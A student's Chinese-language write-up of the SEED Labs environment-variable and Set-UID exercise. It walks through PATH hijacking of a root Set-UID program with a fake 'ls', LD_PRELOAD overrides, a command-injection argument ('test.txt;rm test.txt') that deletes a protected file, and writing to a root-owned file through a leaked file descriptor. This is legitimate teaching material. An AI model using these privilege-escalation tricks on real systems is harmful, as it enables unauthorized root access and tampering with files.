SEEDLab —— 环境变量与 Set-UID 实验

【软件安全】实验1——环境变量与 Set-UID 实验

Task 1：配置环境变量

  1. 使用printenv或env指令来打印环境变量：
image-20240925085104482 image-20240925085246669

​ 如果只想打印特定的环境变量，如PWD变量，可以使用printenv PWD或者env | grep PWD

image-20240925085533581
  1. 使用export和unset来设置或者取消环境变量
  • 使用export设置环境变量：

​ 比如现在我使用export设置一个环境变量MY_VAR的值为softwaresecurity

image-20240925090946612

​ 可以使用echo $MY_VAR打印出这个环境变量的值。

  • 使用unset取消环境变量：

​ 取消变量MY_VAR。

image-20240925091213705

Task 2：从父进程向子进程传递环境变量

  1. 编译myprintenv.c并运行，将输出结果打印到文件output1.txt中。
image-20240925091905373
  1. 注释掉子进程中的printenv()，并取消注释父进程的printenv()，再次编译并打印输出到文件output2.txt。
image-20240925093523967
  1. 使用diff命令比较两个文件的差异。

image-20240925093608802

​ 结论：由于我在不同的窗口下运行的a.out和b.out，因此父子进程只有编译成的可执行文件名称和命令行窗口这两个环境变量不同，其余的环境变量都是相同的。结论是子进程在继承父进程的环境变量时，除了文件名和输出窗口存在差异以外，其他的环境变量都是相同的。

Task 3：环境变量和execve()

  1. 编译并运行myenv.c
image-20240925095029968

发现输出为空。

  1. 修改execve()函数为execve("/usr/bin/env",argv,environ);
image-20240925101911467

发现打印出了当前进程的环境变量。

  1. 结论：

    execve()函数的原型是：

    int execve(const char *pathname, char *const argv[], char *const envp[]);
    • pathname: 要执行的程序的路径。
    • argv: 参数数组，以 NULL 结尾，包含传递给程序的命令行参数。
    • envp: 环境变量数组，也以 NULL 结尾。

    新程序通过execve()函数的第三个参数传递的environ变量来获取环境变量。

Task 4：环境变量和system()

编译并运行如下代码：

#include <stdio.h>
#include <stdlib.h>

int main()
{
system("/usr/bin/env");
return 0;
}
image-20240925110330803

我们使用man system查看函数的手册：

image-20240925110655775

可以看到system()函数是通过创建一个子进程，执行execl("/bin/sh", "sh", "-c", command, (char *) NULL);，调用进程的环境变量会传递给新程序/bin/sh。

Task 5：环境变量和Set-UID程序

  1. 编写以下程序打印该进程所有的环境变量：
#include <stdio.h>
#include <stdlib.h>

extern char **environ;
void main()
{
int i = 0;
while (environ[i] != NULL) {
	printf("%s\n", environ[i]);
	i++;
	}
}
  1. 编译上述程序得到 foo，将其所有者更改为 root，并使其成为一个 Set-UID 程序
// Asssume the program’s name is foo
$ sudo chown root foo
$ sudo chmod 4755 foo

查看一下foo的权限，发现所有者更改为了root。

image-20240926141026903
  1. 设置以下环境变量：
  • PATH
  • LD_LIBRARY_PATH
  • MY_NAME

image-20240925114140972

然后运行foo并查看这些环境变量的值

image-20240925115029191

发现只有在父进程中设置的PATH和MY_NAME的环境变量进入子进程，而LD_LIBRARY_PATH这个环境变量没有进入子进程。

  1. 原因：

LD_LIBRARY_PATH这个环境变量设置的是动态链接器的地址，由于动态链接器的保护机制，虽然在一个root权限的程序下创建子进程并继承父进程的环境变量，但由于我们是在普通用户下修改的LD_LIBRARY_PATH这个环境变量，所以是无法在子进程中生效的，而PATH和MY_NAME则没有这种保护机制，因此可以被成功设置。

Task 6：PATH环境变量和Set-UID程序

先使用以下命令将bin/sh链接到bin/zsh，以规避bin/dash阻止Set-UID程序使用特权执行的策略。

sudo ln -sf /bin/zsh /bin/sh

然后编写LS.c文件，如下所示：

#include<stdio.h>
#include<stdlib.h>
int main(){
    system("ls");
    return 0;
}

然后编译，并设置为Set-UID程序：

image-20240926144129959

可以看出，编译出来的LS文件确实执行了system("ls")的操作，更改后的文件所有者确实变成了root

现在我们在普通用户下设置PATH环境变量，使用export PATH=/home/seed:$PATH将/home/seed 添加到环境变量的开头：

image-20240926145925741

然后我们在/home/seed下编写我们的恶意代码。

// hack.c
#include<stdio.h>
#include<stdlib.h>
#include <unistd.h>
extern char **environ;
int main(){
    uid_t euid = geteuid(); //获取执行恶意代码的进程的euid
    printf("euid=%d\n", euid);
    printf("You have been hacked!!!!\n");
    return 0;
}

然后编译并命名成ls：

gcc hack.c -o ls

然后再执行我们的LS文件：

image-20240928091157480

发现可以使用Set-UID程序运行我们的恶意代码，并且根据system("id")的结果来看：euid=0表示当前进程具有root权限，表明恶意代码是以root权限运行的。

Task 7：LD_PRELOAD环境变量和Set-UID程序

  1. 观察环境变量在运行普通程序时如何影响动态加载器/链接器的行为，首先要进行如下配置：

    1. 构建一个动态链接库，命名为mylib.c，里面基本上覆盖了libc里的sleep()函数：
    #include <stdio.h>
void sleep (int s)
{
/* If this is invoked by a privileged program ,
you can do damages here! */
printf("I am not sleeping!\n");
}
    1. 编译该程序：
    gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
    1. 设置LD_PRELOAD环境变量的值：
    export LD_PRELOAD=./libmylib.so.1.0.1
    1. 编译下面的程序myprog.c
    /* myprog.c */
#include <unistd.h>
int main()
{
sleep(1);
return 0;
}

  2. 完成上述操作后，请在以下条件下运行 myprog，观察会发生什么。

    • 使 myprog 为一个普通程序，以普通用户身份执行它。
    image-20240926155532626

    发现执行的是我们编写的sleep函数。

    • 使 myprog 为一个 Set-UID 特权程序，以普通用户身份执行它。
    image-20240926160631925

    发现等待了一秒后，没有输出，说明执行的是libc中的sleep()函数。

    • 使 myprog 为一个 Set-UID 特权程序，在 root 下重新设置 LD_PRELOAD 环境变量，并执行它。
    image-20240926161005509

    发现执行的是我们编写的sleep函数。

    • 使myprog成为一个Set_UID user1程序，在另一个用户帐户（非root用户）中再次改变LD_PRELOAD环境变量并运行它
    image-20240926162005224

    发现等待了一秒后，没有输出，说明执行的是libc中的sleep()函数。

  3. 设计一个实验来找出导致这些差异的原因，并解释为什么第二步的行为不同。

修改一下myprog.c，打印这个程序运行时的进程的uid、euid以及LD_PRELOAD环境变量的值，如下所示：

/* myprog.c */
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
int main()
{
sleep(1);
uid_t uid = getuid();
printf("uid=%d(%s) ", uid, getenv("USER"));
uid_t euid = geteuid();
printf("euid=%d\n", euid);
char *preload = getenv("LD_PRELOAD");
printf("LD_PRELOAD: %s\n", preload);
return 0;
}

然后编写一个shell脚本，用于测试四种情况的输出以及当前进程的id，如下所示：

#test.sh
echo "seed,run in seed:"
sudo chown seed myprog
sudo chmod 4755 myprog
export LD_PRELOAD=./libmylib.so.1.0.1
./myprog

echo "root,run in seed:"
sudo chown root myprog
sudo chmod 4755 myprog
./myprog

echo "root,run in root:"
sudo su <<EOF
export LD_PRELOAD=./libmylib.so.1.0.1
./myprog
EOF

echo "user1,run in seed:"
sudo chown user1 myprog
sudo chmod 4755 myprog
export LD_PRELOAD=./libmylib.so.1.0.1
./myprog

这个脚本可以自动化测试四种情况下的sleep()函数的执行情况以及打印当前进程的id，运行结果如下：

image-20240928090101443

我们发现：

  • 当myprog为一个普通程序，以普通用户身份执行它时，其uid为seed，euid也为seed，LD_PRELOAD环境变量继承了父进程的，并且执行的是我们编写的sleep函数。

  • 当myprog为一个Set-UID程序时，以普通用户身份执行它时，其uid为seed，euid为root，LD_PRELOAD环境变量没有继承父进程的，并且执行的是libc的sleep函数。

  • 当myprog为一个Set-UID程序时，以root用户身份执行它时，其uid为root，euid为root，LD_PRELOAD环境变量继承了父进程的，并且执行的是我们编写的sleep函数。

  • 当myprog为一个Set-UID user1程序时，以普通用户身份执行它时，其uid为seed，euid为user1，LD_PRELOAD环境变量没有继承父进程的，并且执行的是libc的sleep函数。

如下表所示：

程序类型 执行用户 uid euid LD_PRELOAD环境变量 执行的sleep函数
普通程序 seed seed seed 继承父进程 我们编写的
Set-UID程序 seed seed root 没有继承父进程 libc的
Set-UID程序 root root root 继承父进程 我们编写的
Set-UID user1程序 seed seed user1 没有继承父进程 libc的

结论：

当一个进程的uid和euid一致时，子进程才会继承父进程的环境变量，才会执行我们编写的sleep()函数，第二步行为不同的原因是因为它们的uid和euid的一致/不一致会导致子进程继承/不继承LD_PRELOAD环境变量，从而导致了sleep()函数的不同。

Task 8：使用 system() 与 execve() 调用外部程序的对比

编写并编译catcall.c，如下所示：

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char *v[3];
char *command;

if(argc < 2) {
    printf("Please type a file name.\n");
    return 1;
}

v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;

command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command , "%s %s", v[0], v[1]);

system(command);
// execve(v[0], v, NULL);

return 0 ;
}

这个程序调用了system()函数执行了/bin/cat [filename]，可以打印指定文件的内容。

  1. 编译上述程序，使其成为 root 所有的 Set-UID 程序。该程序将使用 system() 来调用该命令。如果你是 Bob，你能损害系统的完整性吗？例如，你可以删除对你没有写权限的文件吗？

    1. 首先使其成为root所有的 Set-UID 程序：
    image-20240928093318801

    1. 尝试删除没有写权限的文件：

      • 首先创建一个seed没有写权限的文件，我们首先要将文件夹权限改为seed不可写，再将test.txt的属性设为seed不可写：
      image-20240928172847966
      • 发现catcall有命令注入漏洞，可以调用system()执行其他系统命令：
      image-20240928173223367

      ​ 使用命令catcall "test.txt;rm test.txt"成功将没有写权限的test.txt删除。

  2. 注释掉 system(command) 语句，取消注释 execve() 语句；程序将使用 execve() 来调用命令。 编译程序，并使其成为 root 拥有的 Set-UID 程序。你在第一步中的攻击仍然有效吗？请描述并解释你的观察结果。

    1. 首先创建一个seed没有写权限的文件：
    image-20240928172847966
    1. 然后再使用命令catcall "test.txt;rm test.txt"
    image-20240928173712409

    ​ 发现无法删除test.txt，攻击失效。

原理：

使用system()函数能成功删除的原因是system()函数会创建一个子进程，并调用bin/bash来执行函数的参数，因此执行catcall "test.txt;rm test.txt"就相当于父进程创建了一个子进程，子进程使用bin/bash执行bin/cat test.txt;rm test.txt ，由于bash的特性，分号后面会作为下一个命令并执行，而且父进程是一个Set-UID程序，因此相当于在 root 下执行了rm test.txt，所以可以删除文件。

而使用execve()函数删除不了文件的原因是execve()函数并不是调用bin/bash来执行函数的参数的，而是通过系统调用的方式执行bin/cat test.txt;rm test.txt，它会把 test.txt;rm test.txt 当作一个文件名，而我们这个目录下并不存在这个文件，因此会报错/bin/cat: 'test.txt;rm test.txt': No such file or directory

Task 9：权限泄漏

编译以下程序，将其所有者更改为 root，并使其成为 Set-UID 程序。

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

void main()
{
  int fd;
  char *v[2];

  /* Assume that /etc/zzz is an important system file,
   * and it is owned by root with permission 0644.
   * Before running this program, you should create
   * the file /etc/zzz first. */
  fd = open("/etc/zzz", O_RDWR | O_APPEND);        
  if (fd == -1) {
     printf("Cannot open /etc/zzz\n");
     exit(0);
  }

  // Print out the file descriptor value
  printf("fd is %d\n", fd);

  // Permanently disable the privilege by making the
  // effective uid the same as the real uid
  setuid(getuid());                                

  // Execute /bin/sh
  v[0] = "/bin/sh"; v[1] = 0;
  execve(v[0], v, 0);                             
}

我们在/etc下创建文件zzz，并运行cap_leak

文件描述符（File Descriptor，简称 fd）是操作系统中用于管理和操作文件或其他输入/输出资源（如网络连接、管道等）的一个重要概念。当打开一个文件时，操作系统会返回一个文件描述符，后续的读写操作都通过这个描述符进行。

此时输出了zzz文件的文件描述符fd（File Descriptor），并且执行了setuid(getuid())操作，将进程的uid改为了当前用户的，也就是将uid设为seed，然后调用execve()函数执行了bin/sh开启了一个shell。

image-20240928233806262

我们使用whoami命令查看shell的拥有者：

image-20240928233936581

发现拥有者确实是seed，但是虽然这个进程的有效用户ID是 seed ，但是该进程仍然拥有特权，我们可以以普通用户的身份将恶意代码写入/etc/zzz文件中，这个过程需要利用文件描述符fd。

我们可以使用echo "You have been hacked!!" >& 3，将这段话通过文件描述符写入/etc/zzz：

image-20240928235100876

可以发现成功写入了文件。

原理：

虽然代码中执行了setuid(getuid())操作，将进程的uid改为了seed，但是在执行execve(v[0], v, 0) 打开一个shell时，由于在放弃特权时没有关闭/etc/zzz这个文件，创建的子进程会继承/etc/zzz这个文件的文件描述符，造成特权泄露，子进程可以利用这个文件描述符向文件中写入内容。

posted @ 2024-12-07 15:34  Smera1d0  阅读(64)  评论(0)  编辑  收藏  举报